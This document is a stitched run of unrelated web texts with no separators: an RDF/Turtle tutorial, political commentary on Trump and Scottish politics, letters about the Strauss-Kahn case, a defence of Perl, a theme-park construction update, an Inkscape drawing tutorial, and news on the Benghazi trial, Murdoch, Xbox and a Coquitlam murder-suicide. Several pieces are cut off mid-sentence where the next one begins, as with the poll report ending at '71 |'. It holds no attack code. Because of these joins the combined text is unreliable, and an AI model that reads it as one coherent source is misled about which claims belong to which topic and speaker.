So far, so good. Let’s try to follow their advice and create a visual representation of RDF, to get a better mental picture. Say I wish to represent the fact that this is my homepage. We would need three things: the address of this homepage, the address that encodes “me” (e.g. an email address, OpenID, Full Name, etc), and a third address that represents the homepage -relationship (this forms the triple). The third requirement seems the most complicated. What’s the address for encoding the homepage -relationship? Turns out there are arbitrarily many, you can even make up your own one (that’s part of the power). Many standards for encoding this relationship have been created. We’ll pick FOAF (short for Friend of a Friend), it’s most commonly used. The idea behind FOAF is not that different from Facebook Open Graph, except that it’s a standard and build around 1999. In FOAF the address for encoding the relationship is http://xmlns.com/foaf/0.1/homepage. Visiting the link brings you to the specification page. The final graph looks like:
Now this isn’t terribly interesting, but it shows something important: we can encode the relationship between three addressable entities as a graph by defining a triple.
Drawing pictures quickly grows tiresome, even with GraphViz, so we might want to serialize this relationship in a more compact way. At this point haunting flashbulb memories of endless XML might occur, but fear not! There are many semantically equivalent ways to serialize RDF, at its core it is just a set of addresses with some properties. Yes, admittedly, XML is used a lot. But formats like Turtle (TTL), JSON-LD, N3, have gotten more widespread recognition as well. We’ll focus on TTL here, since I find it the most accessible. But you can pick any serialization format, and it won’t change the semantics, just the syntax. RDF is not XML.
In TTL the graph above looks like this
<mailto:[email protected]> <http://xmlns.com/foaf/0.1/homepage> <https://joelkuiper.eu>.
Now if I want to encode other information about myself I could expand it in the following way:
<mailto:[email protected]> ; <http://xmlns.com/foaf/0.1/homepage> <https://joelkuiper.eu> ; <http://xmlns.com/foaf/0.1/givenName> "Joel" ; <http://xmlns.com/foaf/0.1/familyName> "Kuiper".
Notice that you can also use simple strings instead of addresses (called “literals”). The spec gives much more information about, for example, specifying the human language, (XML) types or how to group properties together. One thing that is a bit annoying is the repetition of the addresses, luckily that can be fixed by introducing a prefix.
@prefix foaf: <http://xmlns.com/foaf/0.1/>. @prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>. @prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#>. <mailto:[email protected]> ; a foaf:Person ; foaf:homepage <https://joelkuiper.eu> ; foaf:givenName "Joel" ; foaf:familyName "Kuiper".
In the example above I’ve also taken the liberty of including two common prefixes, and defining myself to be a foaf:Person (or rather, my email address uri). Visualizing the triples above would look something like
Now at this point you might be tempted to go “yes, all very interesting, but eehm, I’m going somewhere else now”. Well, I think it is kinda interesting that unordered sets of triples form an isomorphism with directed labeled multi-graphs; and that URIs can be used to represent semantic information. But stopping there would be a mistake. The best bits are still to come.A mere twenty days ago, Donald Trump gave an interview to the Washington Post. In it he made this utterly fatuous and fantastical claim:
DT: We’re not a rich country. We’re a debtor nation. We’ve got to get rid of — I talked about bubble. We’ve got to get rid of the $19 trillion in debt. BW: How long would that take? DT: I think I could do it fairly quickly, because of the fact the numbers.... BW: What’s fairly quickly? DT: Well, I would say over a period of eight years. And I’ll tell you why. BW: Would you ever be open to tax increases as part of that, to solve the problem? DT: I don’t think I’ll need to. The power is trade. Our deals are so bad. BW: That would be $2 trillion a year. DT: No, but I’m renegotiating all of our deals, Bob. The big trade deals that we’re doing so badly on. With China, $505 billion this year in trade. We’re losing with everybody. And a lot of those deals — a lot of people say, how could the politicians be so stupid? It’s not that they’re stupid. It’s that they’re controlled by lobbyists and special interests who want those deals to be made.
And he dispatched minions and mouthbreathers out to carry the word that he would do this by selling off every stick of property the United States owned. Like, for instance, this chubby little fellow:
Bennett: We can get rid of government buildings we’re not using, we can, uh, extract the energy from government lands, we can lease government lands, we can do all kinds of things to extract value from the assets that we hold. Reporter: Sixteen trillion dollars worth? Bennett: Oh, my goodness. You know how much land we have? You know how much oil is offshore, in government lands? Easily.
As Leon pointed out, this is horse-apples.
I actually have some grudging admiration, professionally, for what Bennett is doing here. First of all, for how easy he makes it sound – like $16T would just be a drop in the bucket compared to what we actually own, and that selling it all off wouldn’t really affect the operation of the Federal government at all. No problem! Second, he clearly made this up on the spot and sprung it on this hapless MSNBC reporter, who has no reason to know what the total value of all assets held by the United States government is, so he knows there’s virtually no chance he’ll be confronted with the actual figure of what the value of those assets might be. Genius. Problematically, of course, as a factual matter Bennett’s solution is complete bovine fecal material. We do, in fact, know how much land the United States has, and the total value of all real estate currently owned by the United States government (which is by FAR the most valuable asset the USG has) is $1.8 trillion. The total value of all real estate in the entire United States is about $23 trillion at last estimate, which of course is mostly owned by private entities.
Now, as part of the program of making Trump appear lucid and civilized for short periods of time, Trump is backtracking from this claim… fast. Like this interview in Fortune:
You’ve said you plan to pay off the country’s debt in 10 years. How’s that possible? No, I didn’t say 10 years. First of all, with low interest rates, you can think in terms of refinancings, and get it down. I believe you can do certain things to pay off the debt more quickly. The most important thing is to make sure the economy stays strong. You can do it in smaller chunks. You can do it in larger chunks. And you can do it in refinancings. How much of the debt could you pay off in 10 years? You could pay off a percentage of it. What percentage? It depends on how aggressive you want to be. I’d rather not be so aggressive. Don’t forget: We have to rebuild the infrastructure of our country. We have to rebuild our military, which is being decimated by bad decisions. We have to do a lot of things. We have to reduce our debt, and the best thing we have going now is that interest rates are so low that lots of good things can be done that aren’t being done, amazingly.
In Trump’s defense, he didn’t say 10 years, he said eight. Therefore the “percentage” that could be paid off should be 125% because he was given two additional years to pay off the debt. What are these “good things” that can be done? He doesn’t say and it is probably just as well. I’m not sure the Fortune reporters could have survived the answer.
Trump, as someone said recently, is actually worse than a liar. He’s a bullsh**ter. Unfortunately, he’s found there is a bullish market for bullsh** in America and no amount of reporting the truth is going to change that.
=============
Visit my archive: http://goo.gl/fTLBZcNot good enough. If the charges against Mr. Strauss-Kahn, the managing director of the International Monetary Fund, are true, then that is rape.
But coercion takes many forms, some of them quite subtle. With such a wide gap in power and status as that between a politician-movie star-international businessman, for example, and a nanny-housekeeper-maid, a “yes” might mean that someone is dazzled by the proximity to such “grandeur” or is worried about maintaining her employment or being disparaged when she looks for another job.
Of course, the heart has been known to jump the socioeconomic chasms, but only when all the participants can ultimately declare themselves openly as partners in a relationship can we assume an equality in the initial decision. Having to hide the truth about yourself, and particularly about your children, is a sure marker of powerlessness.
Rightly, a great deal of sympathy is directed toward Maria Shriver and her children. But I don’t envy the conversation that the former employee in the Schwarzenegger-Shriver household is having with her 14-year-old son right now. We don’t know her story, but we have heard enough other tales to know that under such circumstances, a “yes” is not always a “yes.”
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ROSANNE WESTON
New York, May 18, 2011
The writer is a social worker.
To the Editor:
Re “I.M.F. Chief May Claim Consensual Sex” (news article, May 18): The report about the alleged rape by Dominique Strauss-Kahn, like other media accounts, quotes the victim’s lawyer as saying the housekeeper had no “agenda,” and is “not a woman of pretense,” as if a credible allegation of sexual assault is the exception rather than the rule. Yet sexual assault of women at work, particularly those who work in isolated settings, is both common and underreported.
These accounts remind us that longstanding stereotypes doubting rape victims’ credibility continue to dominate popular opinion and prevent meaningful reform.
JULIE GOLDSCHEID
Flushing, Queens, May 18, 2011
The writer is a professor at the CUNY School of Law.
To the Editor:
Re “ ‘I Didn’t Wish to Be the Girl Who Had a Problem...’ ” (news article, May 17):
You report that another woman has accused Dominique Strauss-Kahn of attempted rape. The article said that she had not previously filed suit because her mother told her that the accusation would follow her around for the rest of her life.
This sentiment highlights a key barrier to securing justice for sexual assault victims. Few victims want to report because they will be forever marked as the accuser or the victim of their perpetrator.
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Victims of other crimes do not wear their accusations like a scarlet letter. If the alleged crime had been attempted theft, it seems likely that her mother would have urged her to report to protect herself and future victims. Why is attempted rape different?
We must re-examine our attitude toward sexual violence to ensure that victims report, perpetrators are brought to justice, and future victims are spared.
ELIZABETH GRAYER
President, Legal Momentum
New York, May 17, 2011
To the Editor:
Re a May 18 letter about the perp walk for Dominique Strauss-Kahn:
American courts “promise equal justice for all,” that is true; but they also promise the idea of innocent until proved guilty. Walk him anywhere you want when he is convicted, but until then, he is an innocent man in the eyes of the law.
A perp walk is a type of punishment and should not be permitted.
STEVEN KOZAK
Hastings-on-Hudson, N.Y., May 18, 2011Donald Trump closed a 12-point polling gap with Hillary Clinton in five days, leaving them half a percent apart during the next two-day period, according to new polling data from Reuters.
On August 22, Clinton led Trump by 12 points, 44.8 percent to 32.8 percent. By Aug. 27, the two candidates were neck and neck, according to Reuters.
By Aug. 29, Trump had nudged up again to 39.1 percent, while she was at 39.7 percent. He gained 6.7 points, while she lost 5.1 points during the entire seven-day period.
Twenty percent of the respondents declined to pick either of the two leaders in the poll of 1,397 likely voters, which was concluded Aug.29.
Trump’s support among Republicans climbed from 71 |
” and “second party.”
“The (county) clerks seem to want this. They have clients and customers who would prefer the other form,” West said. “No one is precluded.”
Chris Hartman, executive director of the Fairness Campaign, said he is concerned the bill would offer disparate treatment of gay couples.
“Separate has seldom been equal,” he said.
One solution, offered by Democratic state Sen. Morgan McGarvey of Louisville, was to have one form with a box next to a person’s name to check “bride,” ”groom” or “spouse.”
“You can avoid confusion and avoid the potential for any disparate treatment of groups,” he said.
Leslie County Clerk James Lewis, vice president of the Kentucky County Clerk’s Association, said he has no problem with McGarvey’s idea. West said he would consider amending the bill.
This Story Filed UnderPerl is not dead: It was early web novices that gave it a bad name
Peter Wayner recently published an article here on TechBeacon called "5 programming languages that are fading fast." Unsurprisingly, a language I specialize in, Perl 5 (just "Perl" for this article), was on that list. Oh, how the mighty have fallen. Let me start with a quick backstory and then I'll tell you why rumors of Perl's death have been greatly exaggerated.
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Perl: The darling of the late '90s and early '00s
In the late '90s, Perl was the language for the Web. During the dot-com boom, companies quickly realized that manually curating thousands of static HTML documents was too expensive and searched for other options. Perl, being a mature language with bundled CGI libraries and many "ready to run" examples on the Web, quickly became the hot language that everyone had to know. Unfortunately, this meant that many people with no programming experience found themselves building large systems, many of which are still with us today. To call these legacy systems steaming piles of ones and zeros would be too kind.
Fast forward a couple of decades and Perl is no longer as popular as it was. In highly profitable markets with no barriers to entry, competition rose from other languages and frameworks, so Perl's market share fell. This sign of a healthy market was taken by some as a sign of an unhealthy Perl. Bloggers who shuddered at the thought of working with legacy Perl written by inexperienced programmers gleefully wrote articles announcing the imminent death of Perl. They've been writing those articles for years, but something strange happened: instead of dying, Perl's market share stabilized.
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Perl is very much alive, and possibly on the rebound
My company, All Around The World, specializes in building and maintaining Perl systems. When we started it, we were expecting to be reworking legacy systems into modern ones, something I have a lot of experience with. To our surprise, we found ourselves working with multiple clients building new systems in Perl.
We were writing ETL systems to reduce the cost of phase III clinical trials for pharmaceutical companies. A major ISP we also work with currently has been using Perl to gather network data across a large European country. Another client has us on a large internationalization project.
I have been hearing the anti-Perl hype for so long that, frankly, I was surprised to find Perl more popular in the real world than the online one. Startups are still happily choosing Perl. Booking.com, one of the largest e-commerce companies in the world, is written almost exclusively in Perl. Gartner, the technology research firm, wrote in its IT Market Clock for Programming Languages that "current and prospective Perl developers should feel confident that the language will remain a solid technology investment for the foreseeable future." Job boards show that Perl jobs have finally stabilized in the last few years and might even be increasing slightly. Even the February 2016 Tiobe Index has Perl solidly in eighth place out of the 200-plus languages it ranks, which is four places up from Perl's position last year!
Not "hip," but battle-tested
How can this language, whose death has been anticipated for years, be doing so well? Because it's battle-tested.
Perl has a strong testing culture, an embarrassment of riches in powerful frameworks, and regular worldwide conferences and workshops, and it still runs large parts of the Web. Perl is not being forked. It isn't a "JavaScript flavor of the week." It has a mature installation tool chain and a strong, healthy developer community.
Need a website? Catalyst, Dancer, and Mojolicious are just a few of the powerful web frameworks available to you. Like ORMs? DBIx::Class and Rose::DB are popular options. And speaking of objects, Moose gives Perl one of the most advanced object systems developers are likely to work with, complete with a metaobject protocol.
Modern Perl is a clean, powerful language and looks nothing like those poorly written piles of legacy code with which most developers associate it. On top of that, new versions of Perl are released every year. Perl 5, Version 22, was released in June 2015, and Version 24 is likely to be released in June 2016. (As an aside, the recently released Perl 6, while related to Perl 5, is not considered its successor.)
Programming in Perl may not be as "hip" as programming in that cool new language released last year, but Perl is battle-tested. And when your livelihood is on the line, that's pretty important. Companies still choose Perl because they know they can rely on it, which is why, against the expectations of some, Perl is doing just fine.
Image credit: Flickr
[ Webinar: Journey to Enterprise-Scale DevOps: Engineer Quality and Security Into Everything? ]It’s been a week since our last Universal Studios Hollywood Update. Which was a rain-update with quite some interesting content, this update is the follow-up update thereof with lots of interesting progress! Here’s a more sunny Universal Studios Hollywood Update including Wizarding World of Harry Potter and Jurassic Park The Ride progress!
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Let’ start near the entrance and look at the progress being made with the new dining and retail center. The pavement in front of it (still behind the walls) was being worked on today. In addition, they’re still adding detail to the front buildings. It’s cool to notice that this front part of the new complex pays homage to an older (now gone) Universal Studios visitor center. Roofing on some parts of the complex continues. Now more colors and trees are being added to the other side, it’s looking absolutely phenomenal. I am not a big fan of all these new restaurants and shops (rather than rides the park needs), but I must say this has already exceeded my expectations. It looks wonderful really! Also on the Upper Lot, and dining related, is the fact that Krusty Burger has reopened after some fix-ups inside. After an interesting winter so far, with the Super Silly Funland water play ground being closed for a while, it has now reopened. It can still be pretty dang cold out, so I find it interesting they reopened it. Next to the Universal Plaza, like MANY parts of the park, heaters and canvases will be found at the seating areas surrounding it, for the possible rains and cold. Be aware, Universal Studios Hollywood has changed their rain-check policy, so they’ll do everything to keep the guests warm, because tickets to return some other time (rain checks) are no longer given. It’s still not very warm out, but now all Grinchmas things have been removed from the plaza, the fountains in the plaza are turned on again as well.
On the side of Universal Plaza there are a bunch of digital kiosks, they’ve been covered most of the time, and were most of the day. Though this morning it seemed that the park was working on them/ testing them. For anyone interested they run on Windows 😛 These may be kiosks regarding Wizarding World of Harry Potter. Speaking of Wizarding World of Harry Potter, I wanted to get some ‘no rain’ shots this week from the Shrek 4D queue, but a wall has now been placed surrounding the Wizarding World, so I wasn’t quite able to get the shots I wished for! Nonetheless here’s yet another look at the pushed back walls and Hogwarts towering over Hogsmeade, this time with blue skies. The green-house is getting more and more complete with the addition of plants hanging from the ceilings, in case you have yet to figure what’s inside the green-house; it’s basically a bunch of switchbacks housing the line for Harry Potter and the Forbidden Journey! Though some serious awesome landscaping has been done to this hill in the past 2 years to accommodate the Wizarding World of Harry Potter and a small forest to go with it, landscaping touch-ups continued today near the rock-work. The outdoor area behind the Three Broomsticks is being cleared and some construction workers were making some final touches. OH LOOK, it’s HOGWARTS (again) 😀 From the Shrek 4D line I managed to squeak in this picture in the small gap between the wall and the roof, just to the right of which The Flight of the Hippogriff was testing again.
Let’s move to the Studio Tour where all traces of Grinchmas have been erased! The skywalk to the escalators to the trams has received back its promotional signs promoting the park’s (as well as the Studio Tour’s) attractions! On the Studio Tour, something I touched on a few weeks back, the activity within Stage 55 (former Fast and Furious Tokyo Drift) continues. Another tram (in a different position than last time) is positioned in the ‘Stage’, I’m very curious what we’re going to see here. There’s too much activity for it to be nothing. Hopefully we’ll see some sort of additional attraction coming to the Studio Tour soon!
Moving to the Lower Lot, there’s still some Grinchmas lighting to be taken off the buildings! But way more interestingly… Jurassic Park the Ride’s refurbishment is quite a big one as we mentioned last week. As I was coming down the star way for a ride on the Mummy, I noticed that a large drop-track piece was being transported towards the back of the Revenge of the Mummy building. There it stood parked for a while. The piece was either BRAND new, or it was freshly repainted. (After what they did to the Incredible Hulk, this may very well be a new piece of track). Next to the ride’s show building a lot of metal prep work went on. Same counts for in the lagoon where construction workers were welding on pieces of side-friction pieces. There’s an immense amount of activity going on around the ride. On the backside of the ride, near the sound stages (Sadly do not have a picture) there were containers filled with trash, and what seemed to be vegetation. Hopefully this means that there’s a significant upgrade in theming as well, as we all know Jurassic Park- The Ride NEEDS! Here’s some more new/refurbished track. These are the tracks of the splashdown lagoon, where the magnetic breaks are located. You may notice that the color is a color they had before last year’s ‘murky upgrade’, and are bright dark green! See the pic below for what it looked like up to March 2015, it seems they’re going back to this color!
That was it for this Universal Studios Hollywood Update! Thank you for checking it out! DON’T FORGET THE WIZARDING WORLD OF HARRY POTTER IS OPENING APRIL 7TH!
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IT’S the beginning of term again in the Scottish Parliament this week. I am excited about what the next few months will bring.
Things will kick off with the Programme for Government tomorrow. The SNP Government will present their priorities for the coming session. It’s a chance for a bold and ambitious programme of radical reform.
I hope Nicola Sturgeon makes the most of the opportunity.
She is the most powerful female politician in Britain at the moment. She has the power to make our schools and hospitals better and our country a fairer place to live. What’s the point of power if not to use it to make things better for the people who live here?
For eight years the SNP have squandered the opportunity to really shake up our country. Think what they could do if they had the will to use the major powers they have?
(Image: PA)
We could live in a country where a young person’s ability to get
on in life is determined by their potential, work rate and ambition, not by how much money their parents earn.
People could get an appointment with their GP when they need one, without having to wait weeks.
Communities could have confidence that the police will be there when they are needed and will be held accountable when they don’t meet the standards we expect of them. And the workers in the North Sea oil industry, who have given so much to this country, could be supported.
Labour’s approach to the Programme for Government will be constructive. If we agree with something, we will say so. If we don’t then we will also say so.
It’s a fresh start for my party and for the country. There are billions of pounds of major new tax and social security powers coming. It means there will be no ducking the tough decisions.
(Image: Lisa Ferguson/The Scotsman/PA)
Everybody in Scottish politics needs to step up and say what we would do with the powers we have, not complain about what we can’t do. One thing Nicola Sturgeon could do tomorrow is announce that she will spend some of the money allocated to improve our schools to incentivise the best teachers to work in the most challenging schools.
The only way to close the gap between kids from the richest backgrounds and everybody else is if we invest more money.
Come on Nicola, do the right thing. You’d have my support.
Try our quick news quiz below:A Libyan militant was convicted Tuesday of terrorism charges stemming from the 2012 Benghazi attacks that killed the U.S. ambassador and three other Americans. But a federal jury found him not guilty of murder, the most serious charge associated with the rampage he was accused of orchestrating.
The attack became instant political fodder in the 2012 presidential campaign, with Republicans accusing the Obama administration of intentionally misleading the public and stonewalling congressional investigators, though officials denied any wrongdoing. Some were particularly critical of then-Secretary of State Hillary Clinton's handling of the conflict, which dogged her during her presidential campaign.
But the seven-week trial of Ahmed Abu Khattala was largely free of political intrigue.
Jurors convicted Khattala on four counts, including providing material support for terrorism and destroying property and placing lives in jeopardy at the U.S. compound, but acquitted him on 14 others. Even with the mixed verdict, Khattala, 46, still faces the possibility of life imprisonment for his conviction on a federal firearms charge.
Prosecutors accused Khattala of directing the attack aimed at killing personnel and plundering maps, documents and other property from the U.S. mission in Benghazi. But defense attorneys said their evidence against him was shoddy.
Ambassador Chris Stevens was killed in the first attack at the U.S. mission, along with Sean Patrick Smith, a State Department information management officer. Nearly eight hours later at a CIA complex nearby, two more Americans, contract security officers Tyrone Woods and Glen Doherty, died in a mortar attack.
"Today, a small measure of justice was meted out," CIA Director Mike Pompeo said in a message to CIA employees. Of Khattala he added: "It took intelligence to find him, soldiers to assist in capturing him, law enforcement to interview him, and a legal team to put him away. Khattala's sentencing is to follow; but no term in prison will bring our people back."
Prosecutors acknowledged they lacked evidence to show Khattala personally fired any gunshots, but argued he orchestrated the violence out of his hatred for U.S. freedoms and his suspicion that Americans were operating a spy base in Benghazi. They said Khattala led a group of militia "hit men" who could be seen on surveillance footage toting weapons and a gas can the night of the attack. Their case relied heavily on the testimony of informants, including one who was paid $7 million to befriend Khattala, help the government gather information on him and arrange his capture.
Defense attorneys sought to discount the informants as liars who were paid for their stories. Federal public defender Michelle Peterson said in closing arguments that prosecutors were playing to jurors' emotions to make up for shoddy evidence, including blurry surveillance video and cellphone records she described as inconclusive. Khattala is a deeply religious man who believes in conservative sharia law as outlined in the Quran, which "is not the same thing as terrorism," Peterson said.
But prosecutors argued the evidence was enough to convict Khattala on all counts.
"He was there to kill Americans, and that is exactly what he and his men did," Assistant U.S. Attorney Michael C. DiLorenzo told jurors.
The trial, which opened Oct. 2, was one of the most significant terrorism prosecutions in recent years in a U.S. civilian court, even though the Trump administration had argued such suspects are better sent to the military prison at Guantanamo Bay, Cuba. The mixed verdict could revive that debate, even as newly captured terror suspects — including a second man charged in the Benghazi attacks — are instead brought to federal court.
Supporters of the military commission system argue valuable intelligence is lost when suspected terrorists are afforded protections of the American legal system. But prosecutors said Khattala, who was interrogated at length during 13 days aboard a Navy transport ship headed to the U.S., provided information about other members of the Islamic extremist militia group blamed for the Benghazi attack. Among the men he pegged was Mustafa al-Imam, who was captured last month and awaits trial in the same federal courthouse in Washington.
Jonathan Hafetz, a senior attorney with the American Civil Liberties Union who has handled terrorism cases, said the Khattala trial showed federal courts are capable of handling terror cases, even with his acquittal of murder charges.
"No court system can pretend to protect due process if it only achieves the resolution the government wants in every case," he said.
___
Associated Press writer Ashraf Khalil contributed to this report
___
This story has been corrected to show that Khatalla could face up to life imprisonment because of a federal firearms charge.This Quick Tip will teach you how to create a cartoon rocket ship with some nice lighting using only basic shapes like rectangles, circles and a triangle. This is a step-by-step tutorial for beginners. The icons from the inkscape toolbar are added to the images to make it easier to find the tool and function I am describing in the text.
Step 1
Start with a few circles for the base, the fin and the window. I kept the right side fin gray for now as I will copy and mirror the finished left side later.
Step 2
After deforming the top of the rocket with the nodes tool, create a rectangle and place it at the base of the ships body. It's used to cut off the base with the Path/ Difference (Control + –) command.
Step 3
Create a few more rectangles for the pattern on the ship's body. Add another rectangle with rounded edges for the front fin.
Step 4
Duplicate the rocketship's body. Combine this copy with the rectangles of the design via Path/ Intersection option ( Command + *). Deform the left wing next by moving the right node and turning it's node handle to a near horizontal.
Step 5
Add a duplicate of the left wing, mirror it horizontally and place it on the right side of the ship. Move it below the body via Page Down. Create a duplicate of the rocket base for the shading. Use the node edit tool to move the left nodes.
Step 6
Change the fill of the shadow shape to a gradient fill with transparency (0% at the top and ~50% at the base). I prefer a dark purple or dark brown to pure black when creating shadows. It gives the illustration a warmer feel.
Step 7
Two more circles make the highlights to the window and another 3 circles add light to the fins. Convert those three to paths (Shift + Control + C) and move the bottom node down. Move the nodes on either side to match the rounded shape of the fins.
Step 8
To make the illustration more interesting add a second light source on the right side. It will cast a a shine onto the right side of the rocket and match the highlight we already placed on the right fin. It's a duplicate of the dark shade object, filled white and scaled down a little. Bring in the lower left and center left node to crate an even shape.
Step 9
Add a few more circles as highlights for the window and window frame and you have your cartoon rocket ship.
Conclusion
The rocket has landed. When working with lights and shadows in your illustrations remember to keep it consistent. It can easily happen that an object created separately and brought into a scene has the wrong kind of light settings. Sometimes a simple mirror does the trick but usually it means re-working the light and shadow shapes of your objects. I hope you've enjoyed this tut.
Note: The tutorial works with some minor adjustments in other vector design programs such as Adobe Illustrator or Corel Draw. These just use different icons, tool and command names, but the functionality is the same.Police investigate Murdoch's parliamentary evidence
Updated
News International chairman James Murdoch is facing renewed questions over evidence he gave to a British parliamentary scandal investigating the phone hacking scandal earlier this week.
Mr Murdoch had already been accused of misleading parliament over evidence he gave about a compensation payment to a victim of phone hacking.
Now a Labour MP has referred him to the Metropolitan Police over an answer he gave to this week's parliamentary inquiry into the scandal.
Mr Murdoch told MPs he was not aware of a 2008 email which suggested phone hacking at the News of the World was a tactic used by more than just one rogue reporter.
But the tabloid's former editor and its former head of legal affairs say they told Mr Murdoch about the email and MP Tom Watson, a member of the committee that grilled Mr Murdoch, has referred the answer to police.
UK prime minister David Cameron says the media boss has "questions to answer" and Mr Watson says it is the most significant development of the saga in two years.
Mr Watson says Mr Murdoch "failed to report a crime to the police" and also "bought the silence of Gordon Taylor", chief executive of the Professional Footballers' Association.
Mr Taylor received a reported 700,000 pounds ($1 million) after he brought a damages claim against the now defunct News of the World.
A Metropolitan Police spokesman confirmed Scotland Yard had received a letter from Mr Watson.
"It is being considered," the spokesman said.
Mr Murdoch has denied giving misleading testimony, saying: "I stand by my testimony to the select committee".
Meanwhile, another Labour MP, Chris Bryant, has called on News Corporation's non-executive directors to suspend Rupert and James Murdoch from their duties.
ABC/AFP
Topics: fraud-and-corporate-crime, law-crime-and-justice, crime, courts-and-trials, media, industry, business-economics-and-finance, england, united-kingdom
First postedIvanka Trump’s image-damaged clothes are being quietly sold under the name of another brand, the first daughter’s manufacturer said.
Florida-based Stein Mart, with 290 stores in the South and Midwest, has been selling Ivanka’s goods with the label Adrienne Vittadini Studio, Business of Fashion reported Monday.
G-III, the company that makes and distributes Ivanka’s line, admitted to the switcheroo without telling Ivanka — and vowed to get her name back on that apparel.
“G-III accepts responsibility for resolving this issue, which occurred without the knowledge or consent of the Ivanka Trump organization,” a G-III rep told the fashion website.
“G-III has already begun to take corrective actions, including facilitating the immediate removal of any mistakenly labeled merchandise from its customer. The Ivanka Trump brand continues to grow and remains very strong.”
Ivanka’s clothing has taken a beating since her dad was elected president, with big-name retailers like Nordstrom, Neiman Marcus and Shoebuy.com dropping the first daughter’s apparel.
Such brand substitutions are within the law, as long as records of the switches are kept.
“US textile product labeling laws allow substitution of labels, so long as the entity making the substitution is identified on the new label and keeps records for three years,” said Susan Scafidi, a professor of fashion law at Fordham Law School and founder of the Fashion Law Institute.
“This is mostly for supply chain tracking reasons. All of the other required information on the label — fiber content, country of origin, etc. — must be maintained.”James Martin/CNET
Microsoft's policy concerning used Xbox One games has proven a bit confusing, but a new report may have spilled more concrete details.
Citing information from "retail sources," gaming news site MCV claims that Microsoft and gaming publishers will take a bite out of the sale of each used Xbox One game. In the process of selling a used game, original owners would also see the game wiped from their online accounts so they no longer can play it.
Microsoft has already confirmed that Xbox One users who install a game on the console's hard drive will no longer need the disc as the game is then tied to their online accounts.
To deal in used games, retailers will reportedly have to agree to Microsoft's terms and use Microsoft's online Azure-based pre-owned system. After the used game is registered through Microsoft as having been sold, the seller's access to that game is then removed. That final step may shed some light on a comment from Microsoft corporate vice president Phil Harrison that the Xbox One needs to check in with Microsoft servers once every 24 hours.
Retailers can sell the used game at any price they choose but with the understanding that Microsoft and the game's publisher will each share in the proceeds. MCV cited unconfirmed reports from U.K. Web site ConsoleDeals that the retailer's cut of the action could be a little as 10 percent.
The same reports also claim a customer in the U.K. would pay a total fee of 35 pounds to buy and activate a used game. Those 35 pounds translate into around $52, which seems a hefty price to pay for a used game, assuming the same cost would apply in the U.S.
Microsoft has been mum about specific details regarding used games and has said only that Xbox One customers would be able to trade in and resell games. A Microsoft spokesman relayed the following statement to CNET:
We know there is some confusion around used games on Xbox One and wanted to provide a bit of clarification on exactly what we've confirmed. While there have been many potential scenarios discussed, we have only confirmed that we designed Xbox One to enable our customers to trade in and resell games at retail. Beyond that, we have not confirmed any specific scenarios. Another piece of clarification around playing games at a friend's house -- should you choose to play your game at your friend's house, there is no fee to play that game while you are signed in to your profile.
Update, 8:00 a.m. PT: Added statement from Microsoft.
Now playing: Watch this: The all-new Xbox OneA Coquitlam family shaken by a young woman’s death will have to deal with another loss in what police are calling a murder-suicide.
Tearful neighbours placed flowers at the home of Lisa Wei and her 22-year-old daughter Ivy – both found dead in the space of 12 hours, leaving behind a grieving husband and a six-year-old son, neighbours said.
“She was a beautiful girl, and she loved the lord too. I know she is in heaven,” said one neighbor, who gave her name as Elda.
Emergency crews responded to a 911 call of a woman in distress to the Coquitlam townhouse on Eagleridge Drive. They arrived to find Wei’s husband pacing outside the home, witnesses said.
Paramedics found the 22-year-old dead inside the home, and police suspected foul play.
Officers identified a female suspect who was known to the victim but had fled before they got there. She was missing for about 12 hours before police found her car in Buntzen Lake Saturday morning at about 6 a.m., and recovered her body from the water.
“While evidence gathered suggests this to be a tragic case of murder-suicide, there remains much work to be done,” said Staff Sgt. Jennifer Pound of the RCMP’s Integrated Homicide Investigation Team.
The six-year-old was left with neighbours, who described Wei as a “fantastic mother and friend.”
“Clearly something went wrong. Lisa is a good mother and a wonderful person,” said one neighbor, who gave her name as Yvette. As for Ivy, Yvette said, “She was so sweet. My boys adored her. They said she made the best smoothies.”
She said the six-year-old stayed with her briefly before going back to his dad.
Everyone in the family is a devout Christian, who shared time at Bible study and church with other members of the tight-knit complex. Ivy was a makeup artist who was exploring courses at Douglas College.
Wei told one neighbour, Elda, she was seeing a psychologist for stress.
“She was sick. There is no excuse. She is sick. She didn’t have the help in time,” Elda said.
The whole incident is a tragic shock to the community.
“They seemed like a normal, happy family,” said one neighbor, Angela Dumont.
An investigation is ongoing.Story highlights In recent years, states have been allowed to "experiment" with legalizing pot
"It's not so much the attorney general's job to decide what laws to enforce," Sessions said
Washington (CNN) Sen. Jeff Sessions indicated at his confirmation hearing Tuesday that as attorney general, he might break the federal government's truce with states on marijuana.
During President Barack Obama's administration, states have been allowed to "experiment" with legalizing pot, and the Justice Department, under Attorneys General Eric Holder and Loretta Lynch, has allowed many legal operations to continue without laying down the full weight of federal law against them.
But asked by Utah Sen. Mike Lee on Tuesday if the federal government would continue to look the other way while states enacted their own laws regarding marijuana, Sessions said he wouldn't commit to not enforcing existing federal law.
"It's not so much the attorney general's job to decide what laws to enforce. We should do our job and enforce laws as effectively as we're able," said Sessions, adding that Congress was entitled to change federal law if it so desired.
Still, the Marijuana Policy Project, which aims to allow states to determine their own marijuana laws, was encouraged by Sessions' comments.
Read MoreSarafina Bianco has advanced degrees in DV and PTSD. Here’s her crash course on what people should and shouldn’t say to survivors of trauma.
___
1. “There has to be a reason this happened.” “This isn’t fair.”
Even though we all know life really isn’t fair sometimes, sugarcoating suffering doesn’t help the traumatized person. One of the many gifts my therapist gave me was the ability to share honestly how unfair everything felt. Beyond the traumatic event, which wasn’t fair, the healing process also took three years of my life. Although I was getting better, I lost two years to my abusive relationship and three years in recovery (with a year of me trying to fix it on my own in between). Yes, you read that correctly: I spent double the time recovering from my abuser (four years) that I spent with him (two). And I lost the second half of my twenties. Goodbye, half a decade.
People were so ready to prove there had to be a reason for it all happening. They were convinced a silver-lining dangled between their sanity and mine.
People were so ready to prove there had to be a reason for it all happening. They were convinced a silver-lining dangled between their sanity and mine. What I wanted, more than anything, was for someone I cared about to look at me without flinching and say “This isn’t fair,” because, had they, I could have said, “Thank you for noticing.”
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Three simple words validated every emotion I felt and allowed me to open dialogue. Although most tried, my therapist was the first to break through. She was also the first to say these three words to me. It was the simplest, most effective thing she said and something I carry with me into every conversation I have.
2. “I thought only soldiers got PTSD.” “Tell me about PTSD.”
PTSD is still relatively new in terms of research and treatment. Because of that, and because the term was originally coined in relation to veterans, there are people who still believe only war vets suffer it.
